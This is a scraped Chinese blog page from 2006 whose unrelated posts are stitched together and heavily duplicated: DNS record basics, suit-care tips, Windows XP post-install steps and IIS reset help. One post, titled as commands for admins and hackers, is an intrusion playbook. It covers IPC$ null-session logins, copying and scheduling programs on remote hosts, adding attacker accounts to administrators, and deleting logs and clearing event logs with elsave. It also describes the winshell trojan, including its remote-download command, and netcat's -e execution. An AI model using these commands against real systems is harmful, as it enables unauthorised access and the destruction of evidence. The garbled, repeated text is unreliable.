admin IN TXT "管理员, 电话: 13901234567"
mail IN TXT "邮件主机, 存放在xxx , 管理人:AAA"
Jim IN TXT "contact: abc@mailserver.com"
也就是您可以设置 TXT ,以便使别人联系到您
SRV 记录
QUOTE:
SRV 记录:一般是为Microsoft的活动目录设置时的应用。DNS可以独立于活动目录,但是活动目录必须有DNS的帮助才能工作。为了活动目录能够正常的工作,DNS服务器必须支持服务定位(SRV)资源记录,资源记录把服务名字映射为提供服务的服务器名字。活动目录客户和域控制器使用SRV资源记录决定域控制器的IP地址。
此技术细节请参考相应网站
泛域名与泛解析
QUOTE:
泛域名是指在一个域名根下,以 *.Domain.com 的形式表示这个域名根所有未建立的子域名。
泛解析是把*.Domain.com 的A 记录解析到某个IP 地址上,然后别人通过任意的前缀.domain.com访问都能访问到你解析的站点上
例:
域名根 name.com 只建立了 www.name.com 和 name.com 这两个域名记录,
那么 ftp.name.com mail.name.com bbs.name.com 等域名记录是不存在的,
但为域名根 name.com 建立泛域名记录 *.name.com 后,
*.name.com 就涵盖了 ftp.name.com mail.name.com bbs.name.com 等所有不存在的子域名记录。
您可以定义 *.name.com 指向一个 IP ,那么当访问者无论是输入 ftp.name.com mail.name.com 或 bbs.name.com 的时候,
访问者都将直接访问您定义 *.name.com 的那个 IP 。
域名绑定
QUOTE:
什么是域名绑定
域名绑定是指,域名绑定是指域名和主机(即某个服务器)的空间绑定,其实就是在虚拟服务器上设置或者WEB服务器上设置,使一个域名被指导向一特定空间,访问者访问你的域名的时候就会打开你存放在该空间上的网页,简单来说其实就是把域名解析到服务器IP,然后在服务器上设置该域名有权限访问的过程
域名转向
QUOTE:
域名转向我们又称为域名(URL)指向或域名转发,当用户地址栏中输入您的域名时,将会自动跳转到您所指定的另一个网络地址(URL)。
假设abc.com是您注册的域名,则通过URL转发服务可以实现当用户访问http://www.abc.com时,自动转向访问另外一个URL,如:我的空间不支持绑定到目录功能,所以为了方便访问者,我就设置:http://bbs.bnnb.net来访问,这个是设置了通过URL转发服务转发到http://www.bnnb.net/bbs上面来实现的,这样您就可以轻松实现多个域名指向一个网站或网站子目录;另外,通过URL转发服务,可以方便的实现将您的中文域名,设置自动转发到您的英文域名主站点。域名转发的另外一个好处就是可以把长域名压缩,用短域名的转向代替,让你的访客不需输入那么长的域名
QUOTE:
A (Address) 记录是用来指定主机名(或域名)对应的IP地址记录。用户可以将该域名下的网站服务器指向到自己的web server上。同时也可以设置您域名的子域名。通俗来说A记录就是服务器的IP,域名绑定A记录就是告诉DNS,当你输入域名的时候给你引导向设置在DNS的A记录所对应的服务器
子域名
QUOTE:
子域名道理等同二级域名,不过比二级域名更加延伸,比如我们继续扩展该域名的主机名,设置主机名为bbs.at,那么就可以建立一个三级域名:bbs.at.abc.com,当然也可以建立四级域名bbs.at.go.abc.com,五级域名bbs.at.go.home.abc.com……,依次类推,可以建立无限级别的域名,我们统称这些域名为顶级域名abc.com的子域名。
CNAME别名指向记录
QUOTE:
CNAME (Canonical Name)记录,通常称别名指向。在这里,您可以定义一个主机别名,比如设置ftp.***.com,用来指向一个主机www.***.com,那么以后就可以用FTP.***.com来代替访问www.***.com了。
MX记录
QUOTE:
MX记录也叫做邮件路由记录,用户可以将该域名下的邮件服务器指向到自己的mail server上,然后即可自行操控所有的邮箱设置。您只需在线填写您服务器的IP地址,即可将您域名下的邮件全部转到您自己设定相应的邮件服务器上。
简单的说,通过操作MX记录,您才可以得到以您域名结尾的邮局。
TXT 记录
QUOTE:
TXT 记录,一般指为某个主机名或域名设置的说明,如:
admin IN TXT "管理员, 电话: 13901234567"
mail IN TXT "邮件主机, 存放在xxx , 管理人:AAA"
Jim IN TXT "contact: abc@mailserver.com"
也就是您可以设置 TXT ,以便使别人联系到您
SRV 记录
QUOTE:
SRV 记录:一般是为Microsoft的活动目录设置时的应用。DNS可以独立于活动目录,但是活动目录必须有DNS的帮助才能工作。为了活动目录能够正常的工作,DNS服务器必须支持服务定位(SRV)资源记录,资源记录把服务名字映射为提供服务的服务器名字。活动目录客户和域控制器使用SRV资源记录决定域控制器的IP地址。
此技术细节请参考相应网站
泛域名与泛解析
QUOTE:
泛域名是指在一个域名根下,以 *.Domain.com 的形式表示这个域名根所有未建立的子域名。
泛解析是把*.Domain.com 的A 记录解析到某个IP 地址上,然后别人通过任意的前缀.domain.com访问都能访问到你解析的站点上
例:
域名根 name.com 只建立了 www.name.com 和 name.com 这两个域名记录,
那么 ftp.name.com mail.name.com bbs.name.com 等域名记录是不存在的,
但为域名根 name.com 建立泛域名记录 *.name.com 后,
*.name.com 就涵盖了 ftp.name.com mail.name.com bbs.name.com 等所有不存在的子域名记录。
您可以定义 *.name.com 指向一个 IP ,那么当访问者无论是输入 ftp.name.com mail.name.com 或 bbs.name.com 的时候,
访问者都将直接访问您定义 *.name.com 的那个 IP 。
域名绑定
QUOTE:
什么是域名绑定
域名绑定是指,域名绑定是指域名和主机(即某个服务器)的空间绑定,其实就是在虚拟服务器上设置或者WEB服务器上设置,使一个域名被指导向一特定空间,访问者访问你的域名的时候就会打开你存放在该空间上的网页,简单来说其实就是把域名解析到服务器IP,然后在服务器上设置该域名有权限访问的过程
域名转向
QUOTE:
域名转向我们又称为域名(URL)指向或域名转发,当用户地址栏中输入您的域名时,将会自动跳转到您所指定的另一个网络地址(URL)。
假设abc.com是您注册的域名,则通过URL转发服务可以实现当用户访问http://www.abc.com时,自动转向访问另外一个URL,如:我的空间不支持绑定到目录功能,所以为了方便访问者,我就设置:http://bbs.bnnb.net来访问,这个是设置了通过URL转发服务转发到http://www.bnnb.net/bbs上面来实现的,这样您就可以轻松实现多个域名指向一个网站或网站子目录;另外,通过URL转发服务,可以方便的实现将您的中文域名,设置自动转发到您的英文域名主站点。域名转发的另外一个好处就是可以把长域名压缩,用短域名的转向代替,让你的访客不需输入那么长的域名
西装洗涤与保养的小窍门
作者:cmscn 日期:2006-11-24
西装的洗涤有干洗和湿洗两种方法。干洗是适用局部污垢清洗,在洗之前先检查哪些部位受污。然后,用水喷湿喷透,放少量的高级肥皂或洗衣粉,用刷子刷干净,再用清水把去污剂(肥皂、洗衣粉之类)漂净。否则干后这些部位会泛起白色斑块。洗净后晾干至八九成,把西装铺放在平坦的毡面上,再用半干湿的白布,铺平在要熨地西装表面,顺序用熨斗把西装熨平熨干。湿洗,将西装用水洗透洗净。其方法与干洗相同。其清洁剂可选用“丝毛类洗涤剂”洗涤。切忌用洗衣机洗西装。在熨烫西装时不要用毛巾作垫,最好选用不褪色的白布。每当不穿西装的时候,就应及时将口袋的东西取出,用毛刷顺方向把西装表面的尘土扫净。若条件允许,用西装衣架挂起,外罩一个干净的胶袋。这样既防西装变形,又防尘埃玷污。如不能将西装挂起,可按平时折衬衫的方法,把西装折叠后,放在塑膜袋里,也可用纸包着樟脑丸一同存放。切忌用力压,或折一团,压实,压皱。
西装太脏,不宜干洗时,洗涤前应先在冷水中浸泡20分钟左右,用双手大把挤出水分,放入40℃左右的中性洗衣粉液(每件1汤匙)或皂片液中浸泡10分钟,切忌热水浸泡和用碱性强的肥皂。将衣服带水捞出,刷洗时要注意“三平一匀”,即洗衣板平、衣服铺平、洗刷走平、用力均匀。洗刷重点,上衣是:翻领、前襟、下摆、口袋、袖口和两肩;西裤是:裤腰、裤袋、前后裤片和裤角。刷洗后把衣服放回洗涤液中拎涮几次,然后挤除洗涤液,用白醋25克加温水洗净,再用冷水漂洗。拉直理平各部位,挂在阴凉通风处晾干,切忌火烤或强日光曝晒。
西装巧保养
收藏前应刷清、熨平、晒干。全毛西装要将樟脑丸用纸包好,放在衣服口袋
里和衣柜内放虫蛀,化纤织物不必放樟脑丸。
1.西装不穿时,最好用适合西装肩阔斜度的衣架吊挂。穿后要用软刷轻轻刷去
灰尘,以保持西装面料的洁净。
2.穿着的西装被水淋湿后,要立即用干净的毛巾将水吸干,然后用洁净的白布
覆盖,加以熨烫整理。西装粘上油渍后,可用药棉蘸汽油擦洗,擦洗面要大
些。擦净油污后用干毛巾或干布将汽油留下的痕迹轻轻擦干,再用清洁湿白布
覆盖熨烫。熨烫时要控制温度,不停的移动熨斗,以防止损伤面料和产生极
光。
3.西装穿脏后,全毛料精做西装不宜用水洗涤,也不宜用洗衣机洗涤,应以干
洗为宜,以保持西装的原型。简制西装,包括用色织中长纤维仿毛呢或晴纶仿
毛呢缝制的,可以用水洗涤。但洗涤时要注意方法,最好用温水泡适量皂片,
将衣服放入浸泡。浸后稍许揉搓一下,用清水过净,再用衣架挂在荫凉处,干
后将衣服熨烫平整。
西装太脏,不宜干洗时,洗涤前应先在冷水中浸泡20分钟左右,用双手大把挤出水分,放入40℃左右的中性洗衣粉液(每件1汤匙)或皂片液中浸泡10分钟,切忌热水浸泡和用碱性强的肥皂。将衣服带水捞出,刷洗时要注意“三平一匀”,即洗衣板平、衣服铺平、洗刷走平、用力均匀。洗刷重点,上衣是:翻领、前襟、下摆、口袋、袖口和两肩;西裤是:裤腰、裤袋、前后裤片和裤角。刷洗后把衣服放回洗涤液中拎涮几次,然后挤除洗涤液,用白醋25克加温水洗净,再用冷水漂洗。拉直理平各部位,挂在阴凉通风处晾干,切忌火烤或强日光曝晒。
西装巧保养
收藏前应刷清、熨平、晒干。全毛西装要将樟脑丸用纸包好,放在衣服口袋
里和衣柜内放虫蛀,化纤织物不必放樟脑丸。
1.西装不穿时,最好用适合西装肩阔斜度的衣架吊挂。穿后要用软刷轻轻刷去
灰尘,以保持西装面料的洁净。
2.穿着的西装被水淋湿后,要立即用干净的毛巾将水吸干,然后用洁净的白布
覆盖,加以熨烫整理。西装粘上油渍后,可用药棉蘸汽油擦洗,擦洗面要大
些。擦净油污后用干毛巾或干布将汽油留下的痕迹轻轻擦干,再用清洁湿白布
覆盖熨烫。熨烫时要控制温度,不停的移动熨斗,以防止损伤面料和产生极
光。
3.西装穿脏后,全毛料精做西装不宜用水洗涤,也不宜用洗衣机洗涤,应以干
洗为宜,以保持西装的原型。简制西装,包括用色织中长纤维仿毛呢或晴纶仿
毛呢缝制的,可以用水洗涤。但洗涤时要注意方法,最好用温水泡适量皂片,
将衣服放入浸泡。浸后稍许揉搓一下,用清水过净,再用衣架挂在荫凉处,干
后将衣服熨烫平整。
Tags: 窍门
重装系统后要做十件大事
作者:cmscn 日期:2006-11-22
indows系统是越用越慢,这是不争的事实。因此,使用Windows就免不了要重新安装系统。当然,重新安装系统并不难,但是安装完系统后你知道我们有多少事情必须要做吗?这可容不得丝毫的松懈,一旦马虎,将可能会导致前功尽弃,甚至有可能会造成数据丢失、信息泄密!
第1件大事:不要急着接入网络
在安装完成Windows后,不要立即把服务器接入网络,因为这时的服务器还没有打上各种补丁,存在各种漏洞,非常容易感染病毒和被入侵。 此时要加上冲击波和震撼波补丁后并重新启动再联入互联网。
第2件大事:给系统打补丁/安装杀毒软件
不用多说,冲击波和震荡波病毒的补丁是一定要打上的,如果你安装了Windows XP SP2则不用再另行安装。
Windows XP冲击波(Blaster)病毒补丁
震荡波(Sasser)病毒补丁安装完系统后,一定要安装反病毒软件,同时将其更新到最新版本。
第3件大事:关闭系统还原
系统还原是Windows ME和Windows XP、Windows 2003中具有的功能,它允许我们将系统恢复到某一时间状态,从而可以避免我们重新安装操作系统。不过,有的人在执行系统还原后,发现除C盘外,其它的D盘、E盘都恢复到先前的状态了,结果里面保存的文件都没有了,造成了严重的损失!
这是由于系统还原默认是针对硬盘上所有分区而言的,这样一旦进行了系统还原操作,那么所有分区的数据都会恢复。因此,我们必须按下Win+Break键,然后单击“系统还原”标签,取消“在所有驱动器上关闭系统还原”选项,然后选中D盘,单击“设置”按钮,在打开的窗口中选中“关闭这个驱动器上的系统还原”选项。
依次将其他的盘上的系统还原关闭即可。这样,一旦系统不稳定,可以利用系统还原工具还原C盘上的系统,但同时其他盘上的文件都不会有事。
第4件大事:给Administrator打上密码
可能有的人使用的是网上下载的万能Ghost版来安装的系统,也可能是使用的是Windows XP无人值守安装光盘安装的系统,利用这些方法安装时极有可能没有让你指定Administrator密码,或者Administrator的密码是默认的123456或干脆为空。这样的密码是相当危险的,因此,在安装完系统后,请右击“我的电脑”,选择“管理”,再选择左侧的“计算机管理(本地)→系统工具→本地用户和组→用户”,选中右侧窗口中的Administrator,右击,选择“设置密码”。
在打开窗口中单击“继续”按钮,即可在打开窗口中为Administrator设置密码。
另外,选择“新用户”,设置好用户名和密码,再双击新建用户,单击“隶属于”标签,将其中所有组(如果有)都选中,单击下方的“删除”按钮。再单击“添加”按钮,然后再在打开窗口中单击“高级”按钮,接着单击“立即查找”按钮,找到PowerUser或User组,单击“确定”两次,将此用户添加PowerUser或User组。注销当前用户,再以新用户登录可以发现系统快很多。
第5件大事:关闭默认共享
Windows安装后,会创建一些隐藏共享,主要用于管理员远程登录时管理系统时使用,但对于个人用户来说,这个很少用到,也不是很安全。所以,我们有必要要切断这个共享:先在d:下新建一个disshare.bat文件,在其中写上如下语句:
@echo off
net share C$/del
net share d$/del
netshare ipc$/del
net share admin$ /del
接下来,将d:disshare.bat拷贝到C:WINDOWSSystem32GroupPolicyUserScriptsLogon文件夹下。然后按下Win+R,输入gpedit.msc,在打开窗口中依次展开“用户配置→Windows设置→脚本(登录/注销)”文件夹,在右侧窗格中双击“登录”项,在弹出的窗口中,单击“添加”命令,选中C:WINDOWSSystem32GroupPolicyUserScriptsLogon文件夹下的disshare.bat文件。
完成上述设置后,重新启动系统,就能自动切断Windows XP的默认共享通道了,如果你有更多硬盘,请在net share d$/del下自行添加,如net share e$/del、net share f$/del等。
第6件大事:启用DMA传输模式
启用DMA模式之后,计算机周边设备(主要指硬盘)即可直接与内存交换数据,这样能加快硬盘读写速度,提高数据传输速率:打开“设备管理器”,其中“IDE ATA/ATAPI 控制器”下有“主要 IDE 通道”和“次要 IDE 通道”,双击之,单击“高级设置”,该对话框会列出目前IDE接口所连接设备的传输模式,单击列表按钮将“传输模式”设置为“DMA(若可用)”。重新启动计算机即可生效。
第7件大事:启用高级电源管理
有时候安装Windows XP之前会发现没有打开BIOS电源中的高级电源控制,安装Windows XP后,关闭Windows时,电源不会自动断开。这时,很多人选择了重新打开BIOS中的高级电源控制,并重新安装Windows XP。事实上,用不着这么麻烦,只要大家确认已经在BIOS中打开高级电源控制选项,再从http://www.yaguo.com/~mig25/acpi.exe下载并安装这个程序,同时选择ACPI Pc,一定不要选错,否则重启后可能无法进入Windows),并重新启动电脑,电脑可能会重新搜索并自动重新安装电脑的硬件,之后就可以使其支持高级电源控制了。
第8件大事:取消压缩文件夹支持
单击开始→运行,输入“regsvr32 /u zipfldr.dll”回车,出现提示窗口“zipfldr.dll中的Dll UnrgisterServer成功”即可取消Windows XP的压缩文件夹支持。另外,输入regsvr32 shdocvw.dll可以取消“图片和传真”与图片文件的关联。
第9件大事:取消“磁盘空间不足”通知
当磁盘驱动器的容量少于200MB时Windows XP便会发出“磁盘空间不足”的通知,非常烦人。可以打开“注册表编辑器”,定位到HKEY_CURRENT_USERSoftwareMi crosoftWindowsCurrentVersionPolicies Explorer,在“Explorer”上单击右键,选择右键菜单上的“新建”→“DWORD 值”,将这个值命名为“NoLowDiskSpaceChecks”,双击该值将其中的“数值数据”设为“1”。
第10件大事:启用验证码
安装SP2后,大多数用户发现在访问某些需要填写验证码的地方,都无法显示验证码图片(显示为一个红色小叉),这是一个非常严重的Bug。解决办法为:运行“Regedit”命令打开注册表编辑器,依次定位到“[HKEY_ LOCAL_MACHINESOFTWAREMicrosoftInternet Explorer Security]”,在窗口右边新建一个名为“BlockXBM”的REG_ DWORD值,将其值设置为“0”(十六进制值)。
1. gpedit.msc-----组策略
2. sndrec32-------录音机
3. Nslookup-------IP地址侦测器
4. explorer-------打开资源管理器
5. lo...
第1件大事:不要急着接入网络
在安装完成Windows后,不要立即把服务器接入网络,因为这时的服务器还没有打上各种补丁,存在各种漏洞,非常容易感染病毒和被入侵。 此时要加上冲击波和震撼波补丁后并重新启动再联入互联网。
第2件大事:给系统打补丁/安装杀毒软件
不用多说,冲击波和震荡波病毒的补丁是一定要打上的,如果你安装了Windows XP SP2则不用再另行安装。
Windows XP冲击波(Blaster)病毒补丁
震荡波(Sasser)病毒补丁安装完系统后,一定要安装反病毒软件,同时将其更新到最新版本。
第3件大事:关闭系统还原
系统还原是Windows ME和Windows XP、Windows 2003中具有的功能,它允许我们将系统恢复到某一时间状态,从而可以避免我们重新安装操作系统。不过,有的人在执行系统还原后,发现除C盘外,其它的D盘、E盘都恢复到先前的状态了,结果里面保存的文件都没有了,造成了严重的损失!
这是由于系统还原默认是针对硬盘上所有分区而言的,这样一旦进行了系统还原操作,那么所有分区的数据都会恢复。因此,我们必须按下Win+Break键,然后单击“系统还原”标签,取消“在所有驱动器上关闭系统还原”选项,然后选中D盘,单击“设置”按钮,在打开的窗口中选中“关闭这个驱动器上的系统还原”选项。
依次将其他的盘上的系统还原关闭即可。这样,一旦系统不稳定,可以利用系统还原工具还原C盘上的系统,但同时其他盘上的文件都不会有事。
第4件大事:给Administrator打上密码
可能有的人使用的是网上下载的万能Ghost版来安装的系统,也可能是使用的是Windows XP无人值守安装光盘安装的系统,利用这些方法安装时极有可能没有让你指定Administrator密码,或者Administrator的密码是默认的123456或干脆为空。这样的密码是相当危险的,因此,在安装完系统后,请右击“我的电脑”,选择“管理”,再选择左侧的“计算机管理(本地)→系统工具→本地用户和组→用户”,选中右侧窗口中的Administrator,右击,选择“设置密码”。
在打开窗口中单击“继续”按钮,即可在打开窗口中为Administrator设置密码。
另外,选择“新用户”,设置好用户名和密码,再双击新建用户,单击“隶属于”标签,将其中所有组(如果有)都选中,单击下方的“删除”按钮。再单击“添加”按钮,然后再在打开窗口中单击“高级”按钮,接着单击“立即查找”按钮,找到PowerUser或User组,单击“确定”两次,将此用户添加PowerUser或User组。注销当前用户,再以新用户登录可以发现系统快很多。
第5件大事:关闭默认共享
Windows安装后,会创建一些隐藏共享,主要用于管理员远程登录时管理系统时使用,但对于个人用户来说,这个很少用到,也不是很安全。所以,我们有必要要切断这个共享:先在d:下新建一个disshare.bat文件,在其中写上如下语句:
@echo off
net share C$/del
net share d$/del
netshare ipc$/del
net share admin$ /del
接下来,将d:disshare.bat拷贝到C:WINDOWSSystem32GroupPolicyUserScriptsLogon文件夹下。然后按下Win+R,输入gpedit.msc,在打开窗口中依次展开“用户配置→Windows设置→脚本(登录/注销)”文件夹,在右侧窗格中双击“登录”项,在弹出的窗口中,单击“添加”命令,选中C:WINDOWSSystem32GroupPolicyUserScriptsLogon文件夹下的disshare.bat文件。
完成上述设置后,重新启动系统,就能自动切断Windows XP的默认共享通道了,如果你有更多硬盘,请在net share d$/del下自行添加,如net share e$/del、net share f$/del等。
第6件大事:启用DMA传输模式
启用DMA模式之后,计算机周边设备(主要指硬盘)即可直接与内存交换数据,这样能加快硬盘读写速度,提高数据传输速率:打开“设备管理器”,其中“IDE ATA/ATAPI 控制器”下有“主要 IDE 通道”和“次要 IDE 通道”,双击之,单击“高级设置”,该对话框会列出目前IDE接口所连接设备的传输模式,单击列表按钮将“传输模式”设置为“DMA(若可用)”。重新启动计算机即可生效。
第7件大事:启用高级电源管理
有时候安装Windows XP之前会发现没有打开BIOS电源中的高级电源控制,安装Windows XP后,关闭Windows时,电源不会自动断开。这时,很多人选择了重新打开BIOS中的高级电源控制,并重新安装Windows XP。事实上,用不着这么麻烦,只要大家确认已经在BIOS中打开高级电源控制选项,再从http://www.yaguo.com/~mig25/acpi.exe下载并安装这个程序,同时选择ACPI Pc,一定不要选错,否则重启后可能无法进入Windows),并重新启动电脑,电脑可能会重新搜索并自动重新安装电脑的硬件,之后就可以使其支持高级电源控制了。
第8件大事:取消压缩文件夹支持
单击开始→运行,输入“regsvr32 /u zipfldr.dll”回车,出现提示窗口“zipfldr.dll中的Dll UnrgisterServer成功”即可取消Windows XP的压缩文件夹支持。另外,输入regsvr32 shdocvw.dll可以取消“图片和传真”与图片文件的关联。
第9件大事:取消“磁盘空间不足”通知
当磁盘驱动器的容量少于200MB时Windows XP便会发出“磁盘空间不足”的通知,非常烦人。可以打开“注册表编辑器”,定位到HKEY_CURRENT_USERSoftwareMi crosoftWindowsCurrentVersionPolicies Explorer,在“Explorer”上单击右键,选择右键菜单上的“新建”→“DWORD 值”,将这个值命名为“NoLowDiskSpaceChecks”,双击该值将其中的“数值数据”设为“1”。
第10件大事:启用验证码
安装SP2后,大多数用户发现在访问某些需要填写验证码的地方,都无法显示验证码图片(显示为一个红色小叉),这是一个非常严重的Bug。解决办法为:运行“Regedit”命令打开注册表编辑器,依次定位到“[HKEY_ LOCAL_MACHINESOFTWAREMicrosoftInternet Explorer Security]”,在窗口右边新建一个名为“BlockXBM”的REG_ DWORD值,将其值设置为“0”(十六进制值)。
1. gpedit.msc-----组策略
2. sndrec32-------录音机
3. Nslookup-------IP地址侦测器
4. explorer-------打开资源管理器
5. lo...
网管和黑客都必须知道的命令
作者:cmscn 日期:2006-11-22
常用的几条net命令:
(与远程主机建立空管连接) net use \\ip地址\ipc$ "" /use:""
(以管理员身份登录远程主机) net use \\ip地址\ipc$ "密码" /use:"administrator"
(传送文件到远程主机winnt目录下)copy 本机目录路径\程序 \\ip地址\admin$
(查看远程主机时间) net time \\ip地址
(定时启动某个程序) at \\ip地址 02:18 readme.exe
(查看共享) net view \\ip地址
(查看netbios工作组列表) nbtstat -a ip地址
(将远程主机c盘映射为自己的f盘) net use f: \\ip地址\c$ ""/user:"administrator"
(这两条把自己增加到管理员组): net user 用户名 密码 /add
net localgroup administrators 用户名 /add
(断开连接) net use \\ip地址\ipc$ /delete
扫尾:
del c:\winnt\system32\logfiles\*.*
del c:\winnt\ssytem32\config\*.evt
del c:\winnt\system32\dtclog\*.*
del c:\winnt\system32\*.log
del c:\winnt\system32\*.txt
del c:\winnt\*.txt
del c:\winnt\*.log
一、netsvc.exe
下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务:
netsvc /list \\ip地址
netsvc schedule \\ip地址 /query
netsvc \\ip地址 schedule /start
二、opentelnet.exe
远程启动主机的telnet服务,并绑定端口到7878,例如:
opentelnet \\ip地址 用户名 密码 1 7878
然后就可以telnet到主机的7878端口,进入dos方式下:
telnet ip地址 7878
三、winshell.exe
一个非常小的木马(不到6k),telnet到主机的7878端口,输入密码winshell,当看到cmd>后,可打下面的命令:
p path (查看winshell主程序的路径信息)
b reboot (重新启动机器)
d shutdown (关闭机器)
s shell (执行后你就会看到可爱的“c:\>”)
x exit (退出本次登录会话,此命令并不终止winshell的运行)
cmd> http://.../srv.exe (通过http下载其他网站上的文件到运行winshell的机器上)
四、3389登陆器,gui方式登录远程主机的
五、elsave.exe
事件日志清除工具
elsave -s \\ip地址 -l "application" -c
elsave -s \\ip地址 -l "system" -c
elsave -s \\ip地址 -l "security" -c
执行后成功清除应用程序日志,系统日志,安全日志
六、hbulot.exe
开启win2kserver和winxp的3389服务
hbulot [/r]
使用/r表示安装完成后自动重起目标使设置生效。
七、nc.exe(netcat.exe)
一个很好的工具,一些脚本程序都要用到它,也可做溢出后的连接用。
想要连接到某处: nc [-options] hostname port[s] [ports] ...
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
参数:
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-g num source-routing&nbs...
(与远程主机建立空管连接) net use \\ip地址\ipc$ "" /use:""
(以管理员身份登录远程主机) net use \\ip地址\ipc$ "密码" /use:"administrator"
(传送文件到远程主机winnt目录下)copy 本机目录路径\程序 \\ip地址\admin$
(查看远程主机时间) net time \\ip地址
(定时启动某个程序) at \\ip地址 02:18 readme.exe
(查看共享) net view \\ip地址
(查看netbios工作组列表) nbtstat -a ip地址
(将远程主机c盘映射为自己的f盘) net use f: \\ip地址\c$ ""/user:"administrator"
(这两条把自己增加到管理员组): net user 用户名 密码 /add
net localgroup administrators 用户名 /add
(断开连接) net use \\ip地址\ipc$ /delete
扫尾:
del c:\winnt\system32\logfiles\*.*
del c:\winnt\ssytem32\config\*.evt
del c:\winnt\system32\dtclog\*.*
del c:\winnt\system32\*.log
del c:\winnt\system32\*.txt
del c:\winnt\*.txt
del c:\winnt\*.log
一、netsvc.exe
下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务:
netsvc /list \\ip地址
netsvc schedule \\ip地址 /query
netsvc \\ip地址 schedule /start
二、opentelnet.exe
远程启动主机的telnet服务,并绑定端口到7878,例如:
opentelnet \\ip地址 用户名 密码 1 7878
然后就可以telnet到主机的7878端口,进入dos方式下:
telnet ip地址 7878
三、winshell.exe
一个非常小的木马(不到6k),telnet到主机的7878端口,输入密码winshell,当看到cmd>后,可打下面的命令:
p path (查看winshell主程序的路径信息)
b reboot (重新启动机器)
d shutdown (关闭机器)
s shell (执行后你就会看到可爱的“c:\>”)
x exit (退出本次登录会话,此命令并不终止winshell的运行)
cmd> http://.../srv.exe (通过http下载其他网站上的文件到运行winshell的机器上)
四、3389登陆器,gui方式登录远程主机的
五、elsave.exe
事件日志清除工具
elsave -s \\ip地址 -l "application" -c
elsave -s \\ip地址 -l "system" -c
elsave -s \\ip地址 -l "security" -c
执行后成功清除应用程序日志,系统日志,安全日志
六、hbulot.exe
开启win2kserver和winxp的3389服务
hbulot [/r]
使用/r表示安装完成后自动重起目标使设置生效。
七、nc.exe(netcat.exe)
一个很好的工具,一些脚本程序都要用到它,也可做溢出后的连接用。
想要连接到某处: nc [-options] hostname port[s] [ports] ...
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
参数:
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-g num source-routing&nbs...
IIS命令.txt
作者:cmscn 日期:2006-11-22
更快捷的一个命令:
D:\Documents and Settings\Administrator>iisreset /?
IISRESET.EXE (C) Microsoft Corp. 1998-1999
用法:
iisreset [computername]
/RESTART 停止然后重新启动所有 Internet 服务。
/START 启动所有 Internet 服务。
/STOP 停止所有 Internet 服务。
/REBOOT 重新启动计算机。
/REBOOTONERROR 如果在启动、停止或重新启动 Internet 服务时出错,则重新启
动计算机。
/NOFORCE 如果试图正常停止服务失败,不强制终止 Internet 服务。
/TIMEOUT:val 指定等待 Internet 服务的成功停止的超时值(以秒为单位)。
如果已指定 REBOOTONERROR 参数,超时后可以重新启动计算机。
服务重新启动的默认值为 20 秒,停止为 60 秒,计算机重新启
动为 0 秒。
/STATUS 显示所有 Internet 服务的状态。
/ENABLE 启用本地系统上 Internet 服务的重新启动。
/DISABLE 禁用本地系统上 Internet 服务的重新启动。
D:\Documents and Settings\Administrator>iisreset /?
IISRESET.EXE (C) Microsoft Corp. 1998-1999
用法:
iisreset [computername]
/RESTART 停止然后重新启动所有 Internet 服务。
/START 启动所有 Internet 服务。
/STOP 停止所有 Internet 服务。
/REBOOT 重新启动计算机。
/REBOOTONERROR 如果在启动、停止或重新启动 Internet 服务时出错,则重新启
动计算机。
/NOFORCE 如果试图正常停止服务失败,不强制终止 Internet 服务。
/TIMEOUT:val 指定等待 Internet 服务的成功停止的超时值(以秒为单位)。
如果已指定 REBOOTONERROR 参数,超时后可以重新启动计算机。
服务重新启动的默认值为 20 秒,停止为 60 秒,计算机重新启
动为 0 秒。
/STATUS 显示所有 Internet 服务的状态。
/ENABLE 启用本地系统上 Internet 服务的重新启动。
/DISABLE 禁用本地系统上 Internet 服务的重新启动。